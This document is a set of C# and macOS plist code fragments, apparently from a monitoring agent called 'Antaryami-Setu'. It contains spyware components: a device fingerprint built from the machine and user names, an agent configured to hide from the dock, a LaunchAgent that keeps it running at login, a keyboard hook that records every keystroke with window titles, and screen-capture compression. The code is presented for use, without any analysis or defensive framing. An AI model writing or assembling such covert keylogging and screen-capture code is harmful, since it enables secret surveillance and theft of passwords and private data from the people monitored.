ANTARYAMI-SETU

// Concatenate machine details to build a target signature
string rawHardwareString = Environment.MachineName + Environment.UserName;
using (SHA256 sha256 = SHA256.Create())
{
    byte[] rawHashBytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(rawHardwareString));
    string hexString = BitConverter.ToString(rawHashBytes).Replace("-", "").ToLower();
    
    // Generate unique ID: first 12 bytes of hash + connection suffix
    _deviceId = hexString.Substring(0, 12) + "_SETU_MAC"; // (_SETU_WEB for WinOnline, _SETU for WinOffline)
}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CFBundleIdentifier</key>
    <string>com.antaryami.maconlineagent</string>
    <key>CFBundleName</key>
    <string>MacOnlineAgent</string>
    <!-- Suppress dock and windows presence -->
    <key>LSUIElement</key>
    <true/>
</dict>
</plist>

// Path: ~/Library/LaunchAgents/com.antaryami.maconlineagent.plist
string plistContent = @"<?xml version=""1.0"" encoding=""UTF-8""?>
<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ""http://www.apple.com/DTDs/PropertyList-1.0.dtd"">
<plist version=""1.0"">
<dict>
    <key>Label</key>
    <string>com.antaryami.maconlineagent</string>
    <key>ProgramArguments</key>
    <array>
        <string>" + appBinaryPath + @"</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>";

private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
    {
        int virtualKeyCode = Marshal.ReadInt32(lParam);
        string decodedKeyString = TranslateVirtualKey(virtualKeyCode);
        
        // Append window title indicators on context switch
        AppendActiveWindowTitleIfChanged();
        
        lock (_keyLock)
        {
            _keyBuffer.Append(decodedKeyString);
        }
    }
    return CallNextHookEx(_hookId, nCode, wParam, lParam);
}

private byte[] CompressScreenFrame(Bitmap screenFrame, long qualityFactor)
{
    ImageCodecInfo jpegEncoder = GetEncoder(ImageFormat.Jpeg);
    using (EncoderParameters encoderParams = new EncoderParameters(1))
    {
        using (EncoderParameter parameter = new EncoderParameter(Encoder.Quality, qualityFactor))
        {
            encoderParams.Param[0] = parameter;
            using (MemoryStream stream = new MemoryStream())
            {
                screenFrame.Save(stream, jpegEncoder, encoderParams);
                return stream.ToArray();
            }
        }
    }
}